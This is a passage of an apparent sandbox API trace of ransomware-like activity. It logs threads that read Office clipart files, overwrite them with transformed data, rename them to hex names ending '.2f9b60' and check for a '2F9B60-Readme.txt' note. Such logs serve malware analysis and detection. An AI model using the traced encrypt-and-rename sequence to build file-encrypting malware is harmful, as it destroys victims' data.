_Format="%c%c" | out: _Dest="88") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="b7") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="95") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ea") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="62") returned 2 [0108.162] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="8e") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="5c") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="b7") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="55") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="dd") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="cb") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="9b") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="0a") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="ff") returned 2 [0108.163] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="af") returned 2 [0108.163] RtlInitAnsiString (in: DestinationString=0x2bddfda8, SourceString="76f853a68ff7b8e388b795ea628e5cb755c1ddcb9b0affaf" | out: DestinationString="76f853a68ff7b8e388b795ea628e5cb755c1ddcb9b0affaf") [0108.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bddfd78, SourceString="76f853a68ff7b8e388b795ea628e5cb755c1ddcb9b0affaf", AllocateDestinationString=1 | out: DestinationString="76f853a68ff7b8e388b795ea628e5cb755c1ddcb9b0affaf") returned 0x0 [0108.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6350 [0108.163] wcscat (in: _Dest=0x20500770, _Source="76f853a68ff7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7" [0108.163] wcscat (in: _Dest=0x20500770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7.2f9b60" [0108.164] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7.2f9b60", NtPathName=0x2bddfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\76f853a68ff7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060170 [0108.164] NtSetInformationFile (FileHandle=0x1560, IoStatusBlock=0x2bddfdf0, FileInformation=0x42060170, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060170) returned 1 [0109.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c970) returned 1 [0109.971] NtQueryInformationFile (in: FileHandle=0x1560, IoStatusBlock=0x2bddfdb8, FileInformation=0x2bddfdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bddfdb8, FileInformation=0x2bddfdc8) returned 0x0 [0109.971] NtSetInformationFile (FileHandle=0x1560, IoStatusBlock=0x2bddfdb8, FileInformation=0x2bddfdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0109.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6350) returned 1 [0109.985] FlushFileBuffers (hFile=0x1560) returned 1 [0109.995] CloseHandle (hObject=0x1560) returned 1 [0109.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500770 [0109.996] wcscpy (in: _Dest=0x20500770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.996] wcscat (in: _Dest=0x20500770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0109.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bb60) returned 1 Thread: id = 697 os_tid = 0x11c8 [0096.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0107.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", dwFileAttributes=0x20) returned 1 [0108.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1544 [0108.015] GetFileSizeEx (in: hFile=0x1544, lpFileSize=0x2c15fa00 | out: lpFileSize=0x2c15fa00*=3144) returned 1 [0108.015] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.015] ReadFile (in: hFile=0x1544, lpBuffer=0x2c15f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c15f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2c15f980*, lpNumberOfBytesRead=0x2c15f9c8*=0x4, lpOverlapped=0x0) returned 1 [0108.058] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0108.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605d0 [0108.058] NtQuerySystemTime (in: CurrentTime=0x2c15f8c0 | out: CurrentTime=0x2c15f8c0*=132462177135442000) returned 0x0 [0108.058] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0xea09222 [0108.058] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x22a198b8 [0108.058] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x6c30789f [0108.058] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x587bc5b5 [0108.058] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x99b4330 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x45fe9ee1 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x1d836cb0 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x34001882 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x720f4a32 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x34cb182b [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x384ddcc8 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x5a9403e6 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0xe816a14 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x523201c6 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0xbee29c6 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x3486c154 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x4a0df5a3 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x100c72d8 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x2c6af31a [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x1665af8f [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x115c29aa [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x733a6df6 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x29410fd6 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x6176f9ad [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x7154e1d0 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x387bdfcc [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x6ea65746 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x58b23530 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x48d8fdd0 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x4a6f6741 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x3a94adb4 [0108.059] RtlRandomEx (in: Seed=0x2c15f8b0 | out: Seed=0x2c15f8b0) returned 0x67c19862 [0108.071] ReadFile (in: hFile=0x1544, lpBuffer=0x41e6a520, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x2c15f8b0, lpOverlapped=0x0 | out: lpBuffer=0x41e6a520*, lpNumberOfBytesRead=0x2c15f8b0*=0xc48, lpOverlapped=0x0) returned 1 [0108.071] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.071] WriteFile (in: hFile=0x1544, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x2c15f8b4, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x2c15f8b4*=0xc48, lpOverlapped=0x0) returned 1 [0108.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0108.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6a520) returned 1 [0108.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860330 [0108.095] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.095] WriteFile (in: hFile=0x1544, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c15f9d0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c15f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0108.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff40) returned 1 [0108.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0108.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860480) returned 1 [0108.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.111] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="39") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="e8") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="4b") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="a5") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="c4") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="12") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="d2") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="e1") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="9b") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="11") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="28") returned 2 [0108.111] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="61") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="1b") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="66") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="9f") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="3a") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c5") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="97") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="61") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="35") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="33") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="d6") returned 2 [0108.112] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ff") returned 2 [0108.112] RtlInitAnsiString (in: DestinationString=0x2c15fa48, SourceString="39e84ba5c412d2e19b1128611b669f3ac51a97613533d6ff" | out: DestinationString="39e84ba5c412d2e19b1128611b669f3ac51a97613533d6ff") [0108.112] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c15fa18, SourceString="39e84ba5c412d2e19b1128611b669f3ac51a97613533d6ff", AllocateDestinationString=1 | out: DestinationString="39e84ba5c412d2e19b1128611b669f3ac51a97613533d6ff") returned 0x0 [0108.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced55c0 [0108.112] wcscat (in: _Dest=0x20500630, _Source="39e84ba5c412" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412" [0108.112] wcscat (in: _Dest=0x20500630, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412.2f9b60" [0108.112] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412.2f9b60", NtPathName=0x2c15f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\39e84ba5c412.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279f70 [0108.113] NtSetInformationFile (FileHandle=0x1544, IoStatusBlock=0x2c15fa90, FileInformation=0x20279f70, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279f70) returned 1 [0109.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d8c0) returned 1 [0109.888] NtQueryInformationFile (in: FileHandle=0x1544, IoStatusBlock=0x2c15fa58, FileInformation=0x2c15fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c15fa58, FileInformation=0x2c15fa68) returned 0x0 [0109.888] NtSetInformationFile (FileHandle=0x1544, IoStatusBlock=0x2c15fa58, FileInformation=0x2c15fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500630) returned 1 [0109.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced55c0) returned 1 [0109.909] FlushFileBuffers (hFile=0x1544) returned 1 [0109.911] CloseHandle (hObject=0x1544) returned 1 [0109.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500630 [0109.913] wcscpy (in: _Dest=0x20500630, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.913] wcscat (in: _Dest=0x20500630, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500630) returned 1 [0109.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bbf0) returned 1 Thread: id = 698 os_tid = 0x11cc [0096.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0107.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", dwFileAttributes=0x20) returned 1 [0108.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe18 [0108.005] GetFileSizeEx (in: hFile=0xe18, lpFileSize=0x2c05f9e0 | out: lpFileSize=0x2c05f9e0*=7668) returned 1 [0108.005] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x1df0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.005] ReadFile (in: hFile=0xe18, lpBuffer=0x2c05f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c05f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2c05f960*, lpNumberOfBytesRead=0x2c05f9a8*=0x4, lpOverlapped=0x0) returned 1 [0108.041] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0108.041] NtQuerySystemTime (in: CurrentTime=0x2c05f8a0 | out: CurrentTime=0x2c05f8a0*=132462177135286000) returned 0x0 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x6c66258e [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x1cac0011 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x67cdf572 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0xccf535c [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x64676c70 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x31c7daab [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x2280ffdf [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x5b375b14 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x289dd500 [0108.041] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x6cd9a7b2 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x2f031e81 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x2a643738 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x12de936 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x5104e10a [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x1b8d87d4 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x346348d1 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x49584b57 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x5a559306 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x47c95b71 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x4da82d04 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x723db8f4 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x1171f30c [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x8081f14 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x607ae7e9 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x490c230 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x26d5e747 [0108.042] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x6f6dd05a [0108.043] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x23d720a8 [0108.043] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x71b7cb13 [0108.043] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x51c96281 [0108.043] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x5dd15d3a [0108.043] RtlRandomEx (in: Seed=0x2c05f890 | out: Seed=0x2c05f890) returned 0x2f58d001 [0108.057] ReadFile (in: hFile=0xe18, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x2c05f890, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2c05f890*=0x1df4, lpOverlapped=0x0) returned 1 [0108.092] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.092] WriteFile (in: hFile=0xe18, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x1df4, lpNumberOfBytesWritten=0x2c05f894, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2c05f894*=0x1df4, lpOverlapped=0x0) returned 1 [0108.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0108.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0108.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0108.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd90 [0108.117] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.117] WriteFile (in: hFile=0xe18, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c05f9b0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c05f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0108.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0108.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0108.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860330) returned 1 [0108.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.137] 